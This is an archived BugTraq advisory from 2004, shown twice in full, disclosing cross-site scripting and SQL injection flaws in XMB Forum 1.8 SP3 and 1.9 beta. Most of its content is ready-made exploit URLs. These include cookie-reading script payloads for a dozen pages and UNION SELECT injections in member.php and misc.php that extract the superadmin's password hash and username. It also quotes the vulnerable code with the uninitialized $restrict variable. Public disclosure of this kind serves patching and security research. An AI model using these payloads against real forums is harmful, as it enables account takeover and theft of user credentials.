BugTraq
Back to list
|
Post reply
[waraxe-2004-SA#012 - Multiple vulnerabilities in XMB Forum 1.8 SP3 and 1.9 beta]
Mar 26 2004 05:24PM
Janek Vind (come2waraxe yahoo com)
{=======================================================================
=========}
{ [waraxe-2004-SA#012] }
{=======================================================================
=========}
{ }
{ [ Multiple vulnerabilities in XMB 1.8 Partagium SP3 and 1.9 Nexus Beta ] }
{ }
{=======================================================================
=========}
Author: Janek Vind "waraxe"
Date: 26. March 2004
Location: Estonia, Tartu
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Extreme Messageboard aka XMB is very popular and feature rich forum,
based on php and mysql. More information can be found on sites
http://www.aventure-media.co.uk and http://www.xmbforum.com
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ok, we have lot's of the security flaws to disclosure, so let's begin...
1. php and webserver info disclosure and possible XSS
Beginning with XMB 1.9 beta versions, file named phpinfo.php is shipped with forum
software. Original code:
<?php
/* $Id: phpinfo.php, v1.00 2003/10/11 10:45:18 Tularis Exp $ */
phpinfo();
?>
In this way ANYONE can get lot's of insider information from webserver and php engine
environment - good startup for attacker...
And even "better" - phpinfo.php can be used for exploiting the XSS:
http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(docume
nt.cookie);</script>
2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta
Example http request:
http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document.cookie);>
Remark: Log off before trying this or it will not work!
3. XSS in editprofile.php --> only in 1.9 beta
Example request:
http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uheade
r=<body%20onload=alert(document.cookie);>
4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta
Example request:
http://localhost/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(d
ocument.cookie);>
5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta
Reason --> uninitialized variables $viewmost,$replymost,$latest
http://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><
body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&replymost="></textarea>
<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&latest="></textarea><bo
dy%20onload=alert(document.cookie);>
6. XSS in post.php
Reason --> uninitialized variables $message,$icons --> works in 1.8 SP3 and 1.9 beta
http://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></t
extarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=<body%2
0onload=alert(document.cookie);>
7. XSS in forumdisplay.php --> works in 1.8 SP3 and 1.9 beta
Reason --> uninitialized variables $threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay
http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onl
oad=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onlo
ad=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onlo
ad=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onl
oad=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay=<body%20o
nload=alert(document.cookie);>
8. Sql injection and XSS in forumdisplay.php
http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=ale
rt(document.cookie);>
Remark: will work only, when no user logged in, because logging in will override the $tpp value.
*************** [really scary sql injection bugs] ***************
9. sql injection and XSS in member.php --> only in 1.9 beta version
Let's look at original code, line 461:
switch($self['status']){
case 'member';
$restrict .= " f.private !='3' AND";
case 'Moderator';
case 'Super Moderator';
$restrict .= " f.private != '2' AND";
case 'Administrator';
$restrict .= " f.userlist = '' AND f.password = '' AND";
case 'Super Administrator';
break;
default:
$restrict .= " f.private !='3' AND f.private != '2' AND f.userlist = '' AND f.password = '' AND";
break;
}
Hmm, $restrict is not initialized anywhere! So we can delivere here all what we want:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=foobar
You have an error in your SQL syntax.
XSS:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=<body%20onload=alert(document.cookie);>
And now the funniest part - how to get superadmin's password's md5 hash from database:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,nu
ll,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*
Or u want superadmin's username? Here it is:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,nu
ll,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*
10. sql injection and XSS in misc.php --> only in 1.9 beta version
http://localhost/xmb19beta/misc.php?action=search&restrict=<body%20onloa
d=alert(document.cookie);>
http://localhost/xmb19beta/misc.php?action=search&restrict=%20private=-9
9%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,nu
ll,null,null,null,null,null,null,null,null,null,null,null,null,null%20FR
OM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*
11. sql injection and XSS in today.php --> only in 1.9 beta version
http://localhost/xmb19beta/today.php?restrict=<body%20onload=alert(docum
ent.cookie);>
*************** [/really scary sql injection bugs] ***************
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe (at) yahoo (dot) com [email concealed]
Janek Vind "waraxe"
---------------------------------- [ EOF ] ------------------------------------
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
{=======================================================================
=========}
{ [waraxe-2004-SA#012] }
{=======================================================================
=========}
{ }
{ [ Multiple vulnerabilities in XMB 1.8 Partagium SP3 and 1.9 Nexus Beta ] }
{ }
{=======================================================================
=========}
Author: Janek Vind "waraxe"
Date: 26. March 2004
Location: Estonia, Tartu
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Extreme Messageboard aka XMB is very popular and feature rich forum,
based on php and mysql. More information can be found on sites
http://www.aventure-media.co.uk and http://www.xmbforum.com
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ok, we have lot's of the security flaws to disclosure, so let's begin...
1. php and webserver info disclosure and possible XSS
Beginning with XMB 1.9 beta versions, file named phpinfo.php is shipped with forum
software. Original code:
<?php
/* $Id: phpinfo.php, v1.00 2003/10/11 10:45:18 Tularis Exp $ */
phpinfo();
?>
In this way ANYONE can get lot's of insider information from webserver and php engine
environment - good startup for attacker...
And even "better" - phpinfo.php can be used for exploiting the XSS:
http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(docume
nt.cookie);</script>
2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta
Example http request:
http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document.cookie);>
Remark: Log off before trying this or it will not work!
3. XSS in editprofile.php --> only in 1.9 beta
Example request:
http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uheade
r=<body%20onload=alert(document.cookie);>
4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta
Example request:
http://localhost/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(d
ocument.cookie);>
5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta
Reason --> uninitialized variables $viewmost,$replymost,$latest
http://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><
body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&replymost="></textarea>
<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&latest="></textarea><bo
dy%20onload=alert(document.cookie);>
6. XSS in post.php
Reason --> uninitialized variables $message,$icons --> works in 1.8 SP3 and 1.9 beta
http://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></t
extarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=<body%2
0onload=alert(document.cookie);>
7. XSS in forumdisplay.php --> works in 1.8 SP3 and 1.9 beta
Reason --> uninitialized variables $threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay
http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onl
oad=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onlo
ad=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onlo
ad=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onl
oad=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay=<body%20o
nload=alert(document.cookie);>
8. Sql injection and XSS in forumdisplay.php
http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=ale
rt(document.cookie);>
Remark: will work only, when no user logged in, because logging in will override the $tpp value.
*************** [really scary sql injection bugs] ***************
9. sql injection and XSS in member.php --> only in 1.9 beta version
Let's look at original code, line 461:
switch($self['status']){
case 'member';
$restrict .= " f.private !='3' AND";
case 'Moderator';
case 'Super Moderator';
$restrict .= " f.private != '2' AND";
case 'Administrator';
$restrict .= " f.userlist = '' AND f.password = '' AND";
case 'Super Administrator';
break;
default:
$restrict .= " f.private !='3' AND f.private != '2' AND f.userlist = '' AND f.password = '' AND";
break;
}
Hmm, $restrict is not initialized anywhere! So we can delivere here all what we want:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=foobar
You have an error in your SQL syntax.
XSS:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=<body%20onload=alert(document.cookie);>
And now the funniest part - how to get superadmin's password's md5 hash from database:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,nu
ll,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*
Or u want superadmin's username? Here it is:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,nu
ll,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*
10. sql injection and XSS in misc.php --> only in 1.9 beta version
http://localhost/xmb19beta/misc.php?action=search&restrict=<body%20onloa
d=alert(document.cookie);>
http://localhost/xmb19beta/misc.php?action=search&restrict=%20private=-9
9%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,nu
ll,null,null,null,null,null,null,null,null,null,null,null,null,null%20FR
OM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*
11. sql injection and XSS in today.php --> only in 1.9 beta version
http://localhost/xmb19beta/today.php?restrict=<body%20onload=alert(docum
ent.cookie);>
*************** [/really scary sql injection bugs] ***************
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe (at) yahoo (dot) com [email concealed]
Janek Vind "waraxe"
---------------------------------- [ EOF ] ------------------------------------
[ reply ]